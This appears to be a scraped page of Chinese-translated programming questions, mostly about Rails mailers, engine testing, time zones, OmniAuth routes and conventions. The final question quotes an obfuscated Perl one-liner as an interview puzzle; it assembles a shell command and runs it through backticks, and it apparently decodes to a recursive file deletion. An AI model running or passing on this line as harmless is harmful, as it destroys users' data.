我正在使用以下代码在rails中发送电子邮件:
class InvoiceMailer < ActionMailer::Base
def invoice(invoice)
from CONFIG[:email]
recipients invoice.email
subject "Bevestiging Inschrijving #{invoice.course.name}"
content_type "multipart/alternative"
part "text/html" do |p|
p.body = render_message 'invoice_html', :invoice => invoice
end
part "text/plain" do |p|
p.body = render_message 'invoice_plain', :invoice => invoice
end
pdf = Prawn::Document.new(:page_size => 'A4')
PDFRenderer.render_invoice(pdf, invoice)
attachment :content_type => "application/pdf", :body => pdf.render, :filename => "factuur.pdf"
invoice.course.course_files.each do |file|
attachment :content_type => file.content_type, :body => File.read(file.full_path), :filename => file.filename
end
end
end
Run Code Online (Sandbox Code Playgroud)
这对我来说似乎很好,电子邮件也会在Gmail网络界面中显示出来.但是,在Mail(Apple程序)中,我只得到1个附件(应该有2个附件)并且没有文本.我似乎无法弄清楚是什么导致了它.
我从日志中复制了电子邮件:
Sent mail to xxx@gmail.com …
如果这个问题有点主观,我道歉...我正在试图找出用黄瓜和Rspec测试Rails 3引擎的最佳方法.为了测试发动机,需要使用导轨3 app.这是我目前正在做的事情:
通过运行以下命令将rails测试应用添加到gem(myengine)的根目录: rails new /myengine/rails_app
/myengine/rails_app/features像在普通的Rails应用程序中一样添加Cucumber
需要Rails Engine Gem(使用:path=>"/myengine")in/myengine/rails_app/Gemfile
将spec添加到gem的根目录: /myengine/spec
包括夹具,/myengine/spec/fixtures我将以下内容添加到我的cuc env.rb中:
env.rb:
Fixtures.reset_cache
fixtures_folder = File.join(Rails.root, 'spec', 'fixtures')
fixtures = Dir[File.join(fixtures_folder, '*.yml')].map {|f| File.basename(f, '.yml') }
Fixtures.create_fixtures(fixtures_folder, fixtures)
Run Code Online (Sandbox Code Playgroud)
你看到这样设置有什么问题吗?测试运行正常,但我有点犹豫要把功能放在测试轨应用程序中.我最初尝试将这些功能放在gem的根目录中,并且我在里面创建了测试rails应用程序features/support,但由于某些原因,当我运行测试时我的引擎不会初始化,即使我可以看到应用程序在cuc运行时加载其他所有内容.
如果有人正在使用Rails Engines并使用cuc和rspec进行测试,我将有兴趣听听您的设置.
**更新
自从我写这个问题以来,我改变了我的设置.我决定摆脱引擎根目录下的spec目录.现在我只创建一个名为"test_app"的rails应用程序,并在该应用程序中设置cuc和rspec,就像我通常在rails应用程序中所做的那样.然后我像上面步骤#3中那样包含宝石.由于引擎是一个子应用程序,我想它最好测试它就像一个普通的rails应用程序.如果有人有不同的设置,我仍然有兴趣听到.
我在我的应用程序中使用Rails exception_notification插件并发现它非常有用.
但是,在某些情况下,我希望捕获异常并优雅地处理它,但仍希望收到异常通知电子邮件.它似乎似乎只发送未捕获的例外.
当你已经发现异常时,是否有人知道如何强制发送电子邮件?
所以现在是旧金山太平洋标准时间下午2:54.出于某种原因,此代码块未在夏威夷12:54 PM HST返回.我在这里错过了什么吗?我希望这段代码能让我回到夏威夷的当前时间
Time.use_zone('Hawaii') do
Time.now
end
# => 2012-01-03 14:54:54 -0800
Run Code Online (Sandbox Code Playgroud) 有没有人知道如何让一个rake测试期间assert_select不输出所有那些讨厌的html警告?你知道,像这样的东西:
.ignoring attempt to close body with div
opened at byte 1036, line 5
closed at byte 5342, line 42
attributes at open: {"class"=>"inner02"}
text around open: "</script>\r\t</head>\r\t<body class=\"inner02"
text around close: "\t</div>\r\t\t\t</div>\r\t\t</div>\r\t</body>\r</ht"
Run Code Online (Sandbox Code Playgroud)
谢谢
有没有帮助避免这种代码?
= @leads.length == 1 ? 'is' : 'are'
Run Code Online (Sandbox Code Playgroud)
我知道复数,但在这种情况下没有帮助.我知道写一个帮助器是微不足道的,我想知道Rails API中是否存在我忽略的内容.
谢谢,
-Tim
我正在寻找人们使用Rails时良好*实践的例子.
我有几个如:
before_filter 调用在控制器类名称声明下面,在其他地方.BaseController,而不是ApplicationController.有,而且应该永远只有一个ApplicationController.attr_* 方法定义在各自类的顶部.attr_*方法之后,或在模型的顶部.private文件底部的方法.现在我不是在寻找Ruby的良好实践,而是更多的Rails专用列表.上面列出的只是一个例子,而不是福音.
*我不想使用"最佳实践"这个术语,因为最好的意思是最终实践,而在所有代码中,人们可能不同意.
我正在通过Ryan Bates railscast#235 OmniAuth第1部分,使用OmniAuth gem允许用户使用Twitter或Facebook以及更高版本的Google Apps登录我的网络应用程序.
现在我遇到了这个错误
Routing Error
No route matches [GET] "/auth/twitter"
Run Code Online (Sandbox Code Playgroud)
我已经正确设置了routes.rb文件来处理auth回调提供程序匹配,如下所示:
match "/auth/:provider/callback" => "authentications#create"
Run Code Online (Sandbox Code Playgroud)
当我链接到localhost:3000/auth/twitter时,我收到此错误.Bates在他的Railscast -07:36.
什么可能解决这个问题?这会是routes.rb的问题吗?还是omniauth.rb?
我们的omniauth.rb看起来像这样:
Rails.application.config.middleware.use OmniAuth::Builder do
provider :facebook, 'OURCONSUMERKEY', 'OURCONSUMERSECRET'
provider :twitter, 'OURCONSUMERKEY', 'OURCONSUMERSECRET'
end
Run Code Online (Sandbox Code Playgroud) 在我正在构建的应用程序中,我使用acts_as_tree关联将XML文件存储在我的数据库中.我想命名这个类,XMLElement但由于大写是非标准的,因此抛出了轨道.它正在寻找XMLElement文件名xml_element.rb.我尝试更改文件名以x_m_l_element.rb试图欺骗它认为"XML"实际上是两个单词,但这也不起作用.我应该把它吸干并使用名称XmlElement而不是更理想的名称XMLElement,还是有更好的解决方法?
我在之前的一次采访中得到了这个问题而无法做到,任何想法?
这是做什么的:
`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$",$;,$^,$#,$~,$*,$:,@%)=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$"),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$"."$;$/$%[$?]$_$\$,$:$%[$?]",$"&$~,$#,);$,++
;$,++;$^|=$";`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`
Run Code Online (Sandbox Code Playgroud)